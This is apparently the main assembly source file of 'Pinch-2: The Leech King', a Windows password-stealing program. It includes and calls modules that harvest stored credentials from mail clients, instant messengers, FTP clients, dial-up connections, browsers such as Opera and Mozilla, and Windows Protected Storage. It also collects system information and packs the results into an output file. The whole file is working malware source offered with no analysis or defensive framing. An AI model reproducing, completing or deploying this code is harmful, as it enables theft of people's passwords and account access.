; Pinch-2: The Leech King

.586

.model flat, stdcall

include windows.inc
include kernel32.inc
include user32.inc
include advapi32.inc
include ws2_32.inc
include wsock32.inc
include pinch.inc
include ole32.inc
include shlwapi.inc
include shell32.inc
include rasapi32.inc
include gdi32.inc
include aplib.inc
include C:\masm32\com\include\oaidl.inc

includelib ole32.lib
includelib kernel32.lib
includelib user32.lib
includelib advapi32.lib
includelib shlwapi.lib
includelib shell32.lib
includelib wsock32.lib
includelib ws2_32.lib
includelib rasapi32.lib
includelib gdi32.lib
includelib aplib.lib

.data
	szMUIPath		db	"SOFTWARE\Microsoft\Windows\ShellNoRoam\MUICache",0
        szOutFile               db      "C:\out.bin",0
        szModuleHeaderStart     db      "PMOD"
		
	szKernel		db	"kernel32.dll",0
				db	"ExpandEnvironmentStringsA",0
				db	"GetDiskFreeSpaceExA",0,0
	dwExpandEnvironmentStrings dd	0
	dwGetDiskFreeSpaceEx	dd	0
				
				
	szSHFolder		db	"shfolder.dll",0
				db	"SHGetFolderPathA",0,0
		
       	szPsApi			db	"psapi.dll",0
				db	"GetModuleFileNameExA",0
				db	"EnumProcesses",0
				db	"EnumProcessModules",0,0
				
        dwGetModuleFileNameEx	dd	0
        dwEnumProcesses		dd	0
        dwEnumProcessModules	dd	0
        			
       	dwSHGetFolderPath	dd	0
       	dwPrevModuleOffset	dd	0
        
.data?
        lpWSAData               WSADATA <>
        lpOutStream             dd      ?       
        
.const 

CSIDL_COMMON_APPDATA equ 0023h
CSIDL_PROFILE equ 0028h

m2m macro dst: REQ, src: REQ
        push src
        pop  dst
endm

_IOR macro x: REQ, y: REQ, t: REQ
  	exitm <(IOC_OUT or ((sizeof(t) and IOCPARM_MASK) shl 16) or (x shl 8) or y)>
endm

@AllocStr macro szName: REQ, szData: REQ
        .data
                szName          db      szData,0
                &szName&Len     equ     @CatStr(%@SizeStr(szData)-2)
endm

@AllocMem macro szName: REQ, dwSize: REQ
        .data?
                szName          db      dwSize dup(?)
endm

@MAKEWORD macro Hi, Lo
        exitm   <(Hi shl 8) or Lo> 
endm

@Next macro EntryLoop: REQ
	cld
	xor     eax, eax
	m2m	ecx, -1
	repnz scasb
	cmp     byte ptr[edi], al
	jnz     EntryLoop
endm

comethodQProto5 typedef proto :DWORD, :DWORD, :QWORD, :DWORD, :DWORD
comethodQ5      typedef ptr comethodQProto5

comethodQProto4 typedef proto :DWORD, :QWORD, :DWORD, :DWORD
comethodQ4      typedef ptr comethodQProto4

comethodQProto2 typedef proto :DWORD, :QWORD
comethodQ2      typedef ptr comethodQProto2

S_BEGIN       equ     0
S_CUR         equ     1
S_END         equ     2

IStream struct DWORD
	IStream_QueryInterface  comethod3       ?
	IStream_AddRef          comethod1       ?
	IStream_Release         comethod1       ?
	IStream_Read            comethod4       ?
	IStream_Write           comethod4       ?
	IStream_Seek            comethodQ4      ?
	IStream_SetSize         comethodQ2      ?
	IStream_CopyTo          comethodQ5      ? 
	IStream_Commit          comethod2       ?
	IStream_Revert          comethod1       ?
	IStream_LockRegion      comethod4       ? 
	IStream_UnlockRegion    comethod4       ? 
	IStream_Stat            comethod3       ? 
	IStream_Clone           comethod2       ? 
IStream ends

.code

; Compares memory data
CompareMem proc uses esi edi lpSrc, lpDst, Len: DWORD
	cld
	mov	esi, lpSrc
	mov	ecx, Len
	mov	edi, lpDst
	xor	eax, eax
	repz cmpsb
	setz	al
	ret
CompareMem endp

; Fills buffer with NULLs
ZeroMemory proc uses edi lpMem, Len: DWORD
	cld
	mov     edi, lpMem
	mov     ecx, Len
	push	ecx	
	shr     ecx, 2
	xor     eax, eax
	rep stosd
	pop	ecx
	and     ecx, 3
	rep stosb
	ret
ZeroMemory endp

; Structure for storing info about mapped file, lpMem - valid memory pointer to file data
MappedFile struct DWORD
	hFile           DWORD   ?       ; File handle
	hMap            DWORD   ?       ; Unnamed file-mapping handle 
	lpMem           DWORD   ?       ; Memory pointer to file data
	dwFileSize      DWORD   ?       ; Size of file
MappedFile ends

; Maps file into current process, returns TRUE on success
MapFile proc uses ebx lpszFileName, lpMappedFile: DWORD
	mov     ebx, lpMappedFile
	assume  ebx: ptr MappedFile

	invoke  ZeroMemory, ebx, sizeof MappedFile
        
	invoke  CreateFile, lpszFileName, GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0
	mov     [ebx].hFile, eax
	inc     eax
	jz      @mf_ret 
        
	invoke  GetFileSize, eax, NULL
        mov     [ebx].dwFileSize, eax

        invoke  CreateFileMapping, [ebx].hFile, NULL, PAGE_READONLY, 0, 0, NULL
        .IF     eax        	             
		mov     [ebx].hMap, eax
		invoke  MapViewOfFile, eax, FILE_MAP_READ, 0, 0, 0
		mov     [ebx].lpMem, eax
        .ENDIF  
        
@mf_ret:
        xor     eax, eax
        cmp     [ebx].lpMem, eax
        setnz   al
        
        assume  ebx: nothing            
        ret
MapFile endp

; Unmaps file from current process
UnmapFile proc uses ebx lpMappedFile: DWORD
	mov     ebx, lpMappedFile       
	assume  ebx: ptr MappedFile

	.IF     [ebx].hFile != -1
		invoke  UnmapViewOfFile, [ebx].lpMem
		invoke  CloseHandle, [ebx].hMap
		invoke  CloseHandle, [ebx].hFile
	.ENDIF

	assume  ebx: nothing
        ret
UnmapFile endp

; Load library
DoLoadLib proc uses esi edi ebx szLibAndFuncs, lpFuncs: DWORD
	mov     edi, szLibAndFuncs
	mov	esi, lpFuncs

	invoke  LoadLibrary, edi
	test	eax, eax
	jz	@ret
	xchg	eax, ebx
        
@next:
	cld        
	xor     eax, eax
	m2m	ecx, -1
	repnz scasb

	cmp     byte ptr[edi], 0
	jz      @ret_true

	invoke	GetProcAddress, ebx, edi
	mov	dword ptr[esi], eax
	test	eax, eax
	jz	@ret
	lodsd
	jmp	@next

@ret_true:
	mov	eax, TRUE
        
@ret:
        ret
DoLoadLib endp

; Write module header
ExportModule proc uses edi esi module: DWORD
	LOCAL	dwQWord: QWORD
	
	lea	edi, dwQWord
	mov	dword ptr[edi], 0
	mov	dword ptr[edi+4], 0
	.IF	dwPrevModuleOffset
		; Current len
		coinvoke lpOutStream, IStream, Seek, dwQWord, S_END, addr dwQWord
		
		; Delta offset (module length)
		mov	esi, dword ptr[edi]
		sub	esi, dwPrevModuleOffset
		
		; Write module length
		m2m	dword ptr[edi], dwPrevModuleOffset
		coinvoke lpOutStream, IStream, Seek, dwQWord, S_BEGIN, addr dwQWord
		mov	dword ptr[edi], esi
		coinvoke lpOutStream, IStream, Write, edi, 4, NULL
		
		; Seek end
		mov	dword ptr[edi], 0
		coinvoke lpOutStream, IStream, Seek, dwQWord, S_END, addr dwQWord
	.ENDIF
	
	; Write 4 byte ident
	coinvoke lpOutStream, IStream, Write, offset szModuleHeaderStart, 4, NULL
	; Write module type
	coinvoke lpOutStream, IStream, Write, addr module, 4, NULL
	
	; Get current size
	mov	dword ptr[edi], 0
	coinvoke lpOutStream, IStream, Seek, dwQWord, S_END, addr dwQWord
	m2m	dwPrevModuleOffset, dword ptr[edi]
	
	; Write module size spacing
	m2m	dword ptr[edi], 0
	coinvoke lpOutStream, IStream, Write, edi, 4, NULL
	ret
ExportModule endp

; Export data to stream
ExportData proc dtype, dsubtype, data, datalen: DWORD
	; Write type
	coinvoke lpOutStream, IStream, Write, addr dtype, 4, NULL
	; Write subtype
	coinvoke lpOutStream, IStream, Write, addr dsubtype, 4, NULL
	; Write datalength
	coinvoke lpOutStream, IStream, Write, addr datalen, 4, NULL
	; Write data
	coinvoke lpOutStream, IStream, Write, data, datalen, NULL       
	ret
ExportData endp

; Export string to stream
ExportStr proc dtype, dsubtype, strdata: DWORD
	; String length
	invoke  lstrlen, strdata
	; Write data
	invoke  ExportData, dtype, dsubtype, strdata, eax       
	ret
ExportStr endp

StreamSaveToFile proc stream, filename: DWORD
	LOCAL   hFile, lpRead: DWORD
	LOCAL   buf[128]: BYTE
	LOCAL   dwQWord: QWORD

	invoke  CreateFile, filename, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0
	mov     hFile, eax
	inc     eax
	jz      @sstf_ret

	lea     edi, dwQWord
	xor	eax, eax
	stosd
	stosd
	coinvoke stream, IStream, Seek, dwQWord, S_BEGIN, NULL

@r:
	coinvoke stream, IStream, Read, addr buf, 128, addr lpRead
	invoke  WriteFile, hFile, addr buf, lpRead, addr lpRead, NULL
	cmp     lpRead, 0
	jnz     @r

	invoke  CloseHandle, hFile
        
@sstf_ret:
	ret
StreamSaveToFile endp

RegReadValue proc uses ebx dwKey, lpszRegPath, lpszValue, lpBuf, lpBufLen: DWORD
	LOCAL   hkHandle, DataType: DWORD
	xor	ebx, ebx

	invoke  RegOpenKey, dwKey, lpszRegPath, addr hkHandle
	test    eax, eax
	jnz     @ret

	invoke  RegQueryValueEx, hkHandle, lpszValue, NULL, addr DataType, lpBuf, lpBufLen
	test	eax, eax
	setz	bl        

	invoke  RegCloseKey, hkHandle

@ret:
	mov	eax, ebx
	ret
RegReadValue endp

GetMUIPath proc uses ebx lpPath, lpExe: DWORD
	LOCAL	KeyIndex, dwBufSize, hkHandle: DWORD
	
	xor	ebx, ebx
	
	invoke  RegOpenKey, HKEY_CURRENT_USER, offset szMUIPath, addr hkHandle
	test	eax, eax
	jnz	@no_mui
 
	; Enum registry entries
	mov	KeyIndex, 0
@enum:
        mov     dwBufSize, MAX_PATH
        xor	eax, eax
        invoke  RegEnumValue, hkHandle, KeyIndex, lpPath, addr dwBufSize, eax, eax, eax, eax      
        test	eax, eax
        jnz	@enum_end
        
        invoke	StrStrI, lpPath, lpExe 
        .IF	eax
		mov	byte ptr[eax+1], 0
		inc	ebx
		jmp	@enum_end
	.ENDIF
	
	inc	KeyIndex
	jmp	@enum
	
@enum_end:	
	invoke	RegCloseKey, hkHandle

@no_mui:
	xchg	eax, ebx
	ret
GetMUIPath endp

ExpandEnvVars proc uses esi lpSrc, dwSrcLen: DWORD
	invoke	GlobalAlloc, GPTR, dwSrcLen
	mov	esi, eax
	
	.IF	dwExpandEnvironmentStrings
		push	MAX_PATH
		push	esi
		push	lpSrc
		call	dwExpandEnvironmentStrings
		
		.IF	eax
			invoke	lstrcpy, lpSrc, esi
		.ENDIF
	.ENDIF
	
	invoke	GlobalFree, esi
	ret
ExpandEnvVars endp

include ICQ2003.asm
include SysInfo.asm
include TheBat.asm
include 99b-2002a.asm
include Miranda.asm
include &RQ.asm
include RAS.asm
include FAR.asm
include Trillian.asm
include WTC.asm
include PStorage.asm
include Becky.asm
include CuteFTP.asm
include EDialer.asm
include WS_FTP.asm
include Opera.asm
include Pack.asm
include Mozilla.asm

.code

start:
	invoke	DoLoadLib, offset szSHFolder, offset dwSHGetFolderPath
	invoke	DoLoadLib, offset szKernel, offset dwExpandEnvironmentStrings
	invoke	DoLoadLib, offset szPsApi, offset dwGetModuleFileNameEx
	invoke  WSAStartup, @MAKEWORD(1,1), offset lpWSAData
	
	invoke  CreateStreamOnHGlobal, NULL, TRUE, offset lpOutStream 
	invoke  GetSysInfoOutput
	invoke  GetTheBatOutput
	invoke	Get99bOutput
	invoke  GetICQ2003Output
	invoke	GetMirandaOutput
	invoke	GetRQOutput
	invoke	GetRasOutput
	invoke	GetTrillianOutput
	invoke	GetWTCOutput	
	invoke	GetBeckyOutput
	invoke	GetPStorageOutput
	invoke	GetCuteFTPOutput
	invoke	GetEDialerOutput
	invoke	GetFarOutput
	invoke	GetWS_FTPOutput
	invoke	GetOperaOutput
	invoke  GetMozillaPass
	invoke	ExportModule, 0ffffffffh
	invoke	PackStream, lpOutStream	
	invoke  StreamSaveToFile, lpOutStream, offset szOutFile
	coinvoke lpOutStream, IStream, Release

	invoke	ExitProcess, 0
end start